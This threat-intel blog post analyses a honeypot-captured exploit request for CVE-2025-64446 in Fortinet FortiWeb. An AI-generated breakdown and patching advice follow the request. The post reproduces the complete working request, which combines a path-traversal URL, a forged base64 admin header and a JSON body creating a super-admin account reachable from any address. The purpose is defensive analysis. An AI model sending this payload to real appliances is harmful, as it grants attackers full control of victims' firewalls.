Threat Intel
Another day another exploit in the wild it seems! (ok I’m a bit slow to this one). Using Defused Cyber’s Honeypots we have another packet to analyse:
Payload
POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: [redacted]
Accept-Encoding: identity
Content-Length: 824
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Content-Type: application/x-www-form-urlencoded
{"data": {"q_type": 1, "name": "ff1a928d", "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0", "trusthostv6": "::/0", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "comments": "", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": "ff1a928d"}}{"data": {"q_type": 1, "name": "ff1a928d", "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0", "trusthostv6": "::/0", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "comments": "", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": "ff1a928d"}}
AI Analysis
The exploit payload in the provided HTTP POST request targets CVE-2025-64446, a relative path traversal vulnerability in Fortinet FortiWeb’s web application firewall. This flaw allows an unauthenticated attacker to bypass authentication and execute administrative actions, such as creating a new rogue administrator account. The request combines three key elements—path traversal in the URL, a spoofed authentication header, and a JSON-based payload—to achieve this. Below, I’ll break it down step by step, explaining how each component works and contributes to the overall exploit.
1. URL and Path Traversal Mechanism
- The URL:
POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1 - How it works:
- This is the core of the path traversal (CWE-23). The URL starts at a legitimate API endpoint (
/api/v2.0/cmdb/system/admin), which is part of FortiWeb’s Command Management Database (CMDB) interface for system administration tasks. %3fis URL-encoded for?, which acts as a query string separator but here helps manipulate path parsing. Following it are nine/../sequences (directory traversal operators) to climb up the directory structure.- The traversal escapes the restricted API path and redirects the request to an internal CGI (Common Gateway Interface) binary at
/cgi-bin/fwbcgi. This binary is normally only accessible internally via FortiWeb’s customized Apache server (httpsd), not from external requests. - During processing, the server normalizes the path (resolves the
../traversals), effectively routing the request directly tofwbcgias if it were an internal call. This bypasses external authentication checks, allowing the attacker to invoke administrative functions without logging in.
- This is the core of the path traversal (CWE-23). The URL starts at a legitimate API endpoint (
- Why it succeeds on vulnerable systems: FortiWeb versions 7.0.x through 8.0.x (prior to patches) do not properly sanitize or restrict these traversals in the
httpd.confconfiguration, enabling external access to internal handlers.
2. CGIINFO Header for Authentication Bypass
- The Header:
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ== - How it works:
- This is a custom header used by FortiWeb’s internal CGI processing. It contains a base64-encoded JSON object.
- Decoding the base64 yields:
{"username": "admin", "profname": "prof_admin", "vdom": "root", "loginname": "admin"}. - When
fwbcgiprocesses the request (thanks to the path traversal), it decodes this header and uses it to set the execution context. Specifically: "username": "admin"and"loginname": "admin"impersonate the built-in admin user."profname": "prof_admin"assigns a super-admin profile with full privileges (e.g.,root.system.adminpermissions)."vdom": "root"specifies the root virtual domain, ensuring global access.- This tricks the system into treating the request as coming from an authenticated admin session, bypassing any login requirements. Without this header, the request would fail with a 403 Forbidden error.
- Role in the exploit: It provides the necessary privileges to execute sensitive CMDB operations, like user creation, which are normally restricted.
3. Request Body Payload for Creating the Rogue Account
- The Body:
{"data": {"q_type": 1, "name": "ff1a928d", "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0", "trusthostv6": "::/0", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "comments": "", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": "ff1a928d"}}{"data": {"q_type": 1, "name": "ff1a928d", "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0", "trusthostv6": "::/0", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "comments": "", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": "ff1a928d"}} - How it works:
- The body consists of two identical concatenated JSON objects (without a comma or array wrapper), each wrapped in
{"data": {...}}. This duplication might be intentional for redundancy (e.g., if parsing fails on the first) or an artifact of the exploit sample;fwbcgilikely processes at least one successfully. - Key fields in the payload:
"q_type": 1: Indicates a “create” or “set” operation in the CMDB context."name": "ff1a928d"and"password": "ff1a928d": Set the username and password for the new account (a simple, likely randomly generated string for stealth)."access-profile": "prof_admin"and"access-profile_val": "0": Assign super-admin privileges."trusthostv4": "0.0.0.0/0"and"trusthostv6": "::/0": Allow login from any IPv4 or IPv6 address."type": "local-user"and"type_val": "0": Specify a local (non-LDAP/RADIUS) user account."force-password-change": "disable": Prevents forcing a password reset on first login.- Empty history-password fields and other defaults ensure the account is created cleanly without triggers.
- With the admin context from the CGIINFO header and the request routed via
fwbcgi, the system interprets this as a legitimate CMDB command to add a new user to the admin database. If successful, the attacker can then log in via the web interface using “ff1a928d” as both username and password, gaining full control (e.g., config changes, log deletion, or further RCE).
- The body consists of two identical concatenated JSON objects (without a comma or array wrapper), each wrapped in
- Content-Type Mismatch: The header claims
application/x-www-form-urlencoded, but the body is raw JSON. Vulnerablefwbcgiversions parse it anyway, ignoring the mismatch. - Content-Length: 824: This matches the exact byte length of the body, ensuring proper transmission.
Overall Exploit Flow and Impact
- Sequence: The request hits the server → Path traversal normalizes to invoke
fwbcgi→ CGIINFO decodes to set admin context → Body payload executes as an admin command to create the account. - Success Indicators: A 200 OK response typically means the account was added; attackers often follow up by logging in and clearing logs.
- Why It’s Critical: This leads to persistent access, potential data exfiltration, or chaining to RCE (e.g., via config manipulation). It’s been exploited in the wild since early November 2025.
- Mitigation: Patch to fixed versions (e.g., 8.0.2+), restrict management interface exposure, and scan logs for similar requests.
Summary
We know common routes to compromise include:
- Valid Credentials
- Social Engineering
- Zero Days/Known Software Exploits
- Info stealers (See point 1)
- Brute Force/Authentication Attacks
When it comes to internet facing ‘security appliance’ history has shown us that lots of the products sold to market to ‘keep you safe’ – well actually they seem to be helping the threat actors filled with victims!
If you have edge appliances you will want to be closely monitoring them (if you can) for signs of exploitation/compromise. You may also want to have a very rapid (sub 24 hours) patching routing.
Think very carefully about what you expose, how that is protected (e.g. you should think about putting a WAF in front of everything HTTP/S perhaps) and if you can use different technologies/approaches to expose assets/services.
The item from here was collected from: https://defusedcyber.com and analysed with GROK.








